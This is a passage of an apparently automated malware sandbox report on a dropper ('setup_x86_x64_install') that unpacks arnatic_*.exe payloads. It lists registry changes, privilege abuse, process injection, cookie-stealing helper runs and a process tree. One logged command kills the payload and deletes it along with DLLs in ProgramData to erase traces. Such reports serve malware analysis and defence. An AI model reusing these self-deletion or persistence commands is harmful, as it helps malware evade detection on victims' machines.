Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = c742dd939072d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\allhugenewz.com\Total = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\propapps.info MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = e0ca56399272d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CRLs MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 32d1acb59272d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\allhugenewz.com\Total = "46" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = a15633799072d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f95e56ab9172d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5260 PING.EXE -
Script User-Agent 9 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 545 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 548 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 564 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 576 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 133 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 546 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 561 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 591 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 595 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4264 DllHost.exe 4264 DllHost.exe 3164 svchost.exe 3164 svchost.exe 4676 jfiag3g_gg.exe 4676 jfiag3g_gg.exe 196 chrome.exe 196 chrome.exe 4844 WerFault.exe 4844 WerFault.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 4692 6097905.exe 4692 6097905.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 4692 6097905.exe 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 2412 arnatic_1.exe 2412 arnatic_1.exe 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 388 Process not Found -
Suspicious behavior: MapViewOfSection 64 IoCs
pid Process 196 chrome.exe 5648 WerFault.exe 504 swvttjs 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 1784 92B1.exe 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 4832 explorer.exe 4832 explorer.exe 2260 explorer.exe 2260 explorer.exe 2460 explorer.exe 2460 explorer.exe 4832 explorer.exe 4832 explorer.exe 2260 explorer.exe 2260 explorer.exe 2460 explorer.exe 2460 explorer.exe 7072 toolspab1.exe 4832 explorer.exe 4832 explorer.exe 2460 explorer.exe 2460 explorer.exe 2460 explorer.exe 2460 explorer.exe 2260 explorer.exe 2260 explorer.exe 2260 explorer.exe 2260 explorer.exe 4832 explorer.exe 4832 explorer.exe 4528 MicrosoftEdgeCP.exe 4528 MicrosoftEdgeCP.exe 2260 explorer.exe 2260 explorer.exe 4832 explorer.exe 4832 explorer.exe 2460 explorer.exe 2460 explorer.exe 2260 explorer.exe 2260 explorer.exe 4832 explorer.exe 4832 explorer.exe 4832 explorer.exe 4832 explorer.exe 2460 explorer.exe 2460 explorer.exe 2460 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2804 arnatic_5.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 3164 svchost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4264 DllHost.exe Token: SeDebugPrivilege 4692 6097905.exe Token: SeDebugPrivilege 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe Token: SeManageVolumePrivilege 2676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe Token: SeManageVolumePrivilege 2676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe Token: SeManageVolumePrivilege 2676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe -
Suspicious use of FindShellTrayWindow 20 IoCs
pid Process 388 Process not Found 388 Process not Found 4328 chrome.exe 4328 chrome.exe 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 736 irecord.tmp 5632 Setup3310.tmp 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found 388 Process not Found -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 4484 3442.exe 5940 3608.exe 388 Process not Found 5348 MicrosoftEdge.exe 1972 MicrosoftEdgeCP.exe 1972 MicrosoftEdgeCP.exe 5100 MicrosoftEdge.exe 4528 MicrosoftEdgeCP.exe 4528 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 388 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 688 wrote to memory of 1324 688 setup_x86_x64_install - копия (16).exe 76 PID 688 wrote to memory of 1324 688 setup_x86_x64_install - копия (16).exe 76 PID 688 wrote to memory of 1324 688 setup_x86_x64_install - копия (16).exe 76 PID 1324 wrote to memory of 2696 1324 setup_installer.exe 77 PID 1324 wrote to memory of 2696 1324 setup_installer.exe 77 PID 1324 wrote to memory of 2696 1324 setup_installer.exe 77 PID 2696 wrote to memory of 4016 2696 setup_install.exe 81 PID 2696 wrote to memory of 4016 2696 setup_install.exe 81 PID 2696 wrote to memory of 4016 2696 setup_install.exe 81 PID 2696 wrote to memory of 340 2696 setup_install.exe 80 PID 2696 wrote to memory of 340 2696 setup_install.exe 80 PID 2696 wrote to memory of 340 2696 setup_install.exe 80 PID 2696 wrote to memory of 2064 2696 setup_install.exe 82 PID 2696 wrote to memory of 2064 2696 setup_install.exe 82 PID 2696 wrote to memory of 2064 2696 setup_install.exe 82 PID 2696 wrote to memory of 2664 2696 setup_install.exe 83 PID 2696 wrote to memory of 2664 2696 setup_install.exe 83 PID 2696 wrote to memory of 2664 2696 setup_install.exe 83 PID 2696 wrote to memory of 1268 2696 setup_install.exe 84 PID 2696 wrote to memory of 1268 2696 setup_install.exe 84 PID 2696 wrote to memory of 1268 2696 setup_install.exe 84 PID 2696 wrote to memory of 3840 2696 setup_install.exe 96 PID 2696 wrote to memory of 3840 2696 setup_install.exe 96 PID 2696 wrote to memory of 3840 2696 setup_install.exe 96 PID 2696 wrote to memory of 3808 2696 setup_install.exe 85 PID 2696 wrote to memory of 3808 2696 setup_install.exe 85 PID 2696 wrote to memory of 3808 2696 setup_install.exe 85 PID 340 wrote to memory of 196 340 cmd.exe 93 PID 340 wrote to memory of 196 340 cmd.exe 93 PID 340 wrote to memory of 196 340 cmd.exe 93 PID 2064 wrote to memory of 184 2064 cmd.exe 92 PID 2064 wrote to memory of 184 2064 cmd.exe 92 PID 2064 wrote to memory of 184 2064 cmd.exe 92 PID 4016 wrote to memory of 2412 4016 cmd.exe 91 PID 4016 wrote to memory of 2412 4016 cmd.exe 91 PID 4016 wrote to memory of 2412 4016 cmd.exe 91 PID 2664 wrote to memory of 2716 2664 cmd.exe 86 PID 2664 wrote to memory of 2716 2664 cmd.exe 86 PID 2664 wrote to memory of 2716 2664 cmd.exe 86 PID 1268 wrote to memory of 2804 1268 cmd.exe 89 PID 1268 wrote to memory of 2804 1268 cmd.exe 89 PID 3840 wrote to memory of 2260 3840 cmd.exe 87 PID 3840 wrote to memory of 2260 3840 cmd.exe 87 PID 3840 wrote to memory of 2260 3840 cmd.exe 87 PID 3808 wrote to memory of 1400 3808 cmd.exe 88 PID 3808 wrote to memory of 1400 3808 cmd.exe 88 PID 3808 wrote to memory of 1400 3808 cmd.exe 88 PID 1400 wrote to memory of 4224 1400 arnatic_7.exe 90 PID 1400 wrote to memory of 4224 1400 arnatic_7.exe 90 PID 1400 wrote to memory of 4224 1400 arnatic_7.exe 90 PID 184 wrote to memory of 4264 184 arnatic_3.exe 109 PID 184 wrote to memory of 4264 184 arnatic_3.exe 109 PID 184 wrote to memory of 4264 184 arnatic_3.exe 109 PID 2716 wrote to memory of 4276 2716 arnatic_4.exe 95 PID 2716 wrote to memory of 4276 2716 arnatic_4.exe 95 PID 2716 wrote to memory of 4276 2716 arnatic_4.exe 95 PID 4264 wrote to memory of 3164 4264 DllHost.exe 70 PID 4264 wrote to memory of 2560 4264 DllHost.exe 30 PID 3164 wrote to memory of 4392 3164 svchost.exe 97 PID 3164 wrote to memory of 4392 3164 svchost.exe 97 PID 3164 wrote to memory of 4392 3164 svchost.exe 97 PID 4264 wrote to memory of 296 4264 DllHost.exe 62 PID 4264 wrote to memory of 2364 4264 DllHost.exe 33 PID 4264 wrote to memory of 2340 4264 DllHost.exe 34
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1916
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
PID:2688
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2560
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2364
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1448
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1304
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1228
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1108
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:908 -
C:\Users\Admin\AppData\Roaming\swvttjsC:\Users\Admin\AppData\Roaming\swvttjs2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:504
-
-
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:6624 -
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task3⤵PID:3328
-
-
-
C:\Users\Admin\AppData\Roaming\swvttjsC:\Users\Admin\AppData\Roaming\swvttjs2⤵
- Checks SCSI registry key(s)
PID:5144
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll",QRIvBFx2⤵
- Windows security modification
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6432
-
-
C:\Users\Admin\AppData\Roaming\euvttjsC:\Users\Admin\AppData\Roaming\euvttjs2⤵
- Suspicious use of SetThreadContext
PID:5804 -
C:\Users\Admin\AppData\Roaming\euvttjsC:\Users\Admin\AppData\Roaming\euvttjs3⤵
- Checks SCSI registry key(s)
PID:4752
-
-
-
C:\Users\Admin\AppData\Roaming\cvvttjsC:\Users\Admin\AppData\Roaming\cvvttjs2⤵
- Checks SCSI registry key(s)
PID:4828
-
-
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:4692 -
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task3⤵PID:2328
-
-
-
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:1876 -
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task3⤵PID:4016
-
-
-
C:\Users\Admin\AppData\Roaming\swvttjsC:\Users\Admin\AppData\Roaming\swvttjs2⤵
- Checks SCSI registry key(s)
PID:2356
-
-
C:\Users\Admin\AppData\Roaming\euvttjsC:\Users\Admin\AppData\Roaming\euvttjs2⤵
- Suspicious use of SetThreadContext
PID:1828 -
C:\Users\Admin\AppData\Roaming\euvttjsC:\Users\Admin\AppData\Roaming\euvttjs3⤵
- Checks SCSI registry key(s)
PID:4416
-
-
-
C:\Users\Admin\AppData\Roaming\cvvttjsC:\Users\Admin\AppData\Roaming\cvvttjs2⤵
- Checks SCSI registry key(s)
PID:4828
-
-
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:5496 -
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task3⤵PID:6312
-
-
-
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task2⤵
- Suspicious use of SetThreadContext
PID:2348 -
C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exeC:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c\ED3A.exe --Task3⤵PID:1760
-
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:296
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (16).exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (16).exe"1⤵
- Suspicious use of WriteProcessMemory
PID:688 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_2.exearnatic_2.exe5⤵
- Executes dropped EXE
PID:196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_1.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_1.exearnatic_1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2412 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im arnatic_1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_1.exe" & del C:\ProgramData\*.dll & exit6⤵PID:2648
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im arnatic_1.exe /f7⤵
- Kills process with taskkill
PID:4112
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:1680
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_3.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_3.exearnatic_3.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:184 -
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub6⤵PID:4264
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_4.exearnatic_4.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:4276
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4676
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:6748
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:4372
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_5.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_5.exearnatic_5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2804 -
C:\Users\Admin\AppData\Roaming\6097905.exe"C:\Users\Admin\AppData\Roaming\6097905.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4692
-
-
C:\Users\Admin\AppData\Roaming\3533439.exe"C:\Users\Admin\AppData\Roaming\3533439.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4724 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:4280
-
-
-
C:\Users\Admin\AppData\Roaming\2782965.exe"C:\Users\Admin\AppData\Roaming\2782965.exe"6⤵
- Executes dropped EXE
PID:4844
-
-
C:\Users\Admin\AppData\Roaming\2225103.exe"C:\Users\Admin\AppData\Roaming\2225103.exe"6⤵
- Executes dropped EXE
PID:4924
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_7.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Users\Admin\AppData\Local\Temp\7zSC25D0804\arnatic_7.exearnatic_7.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
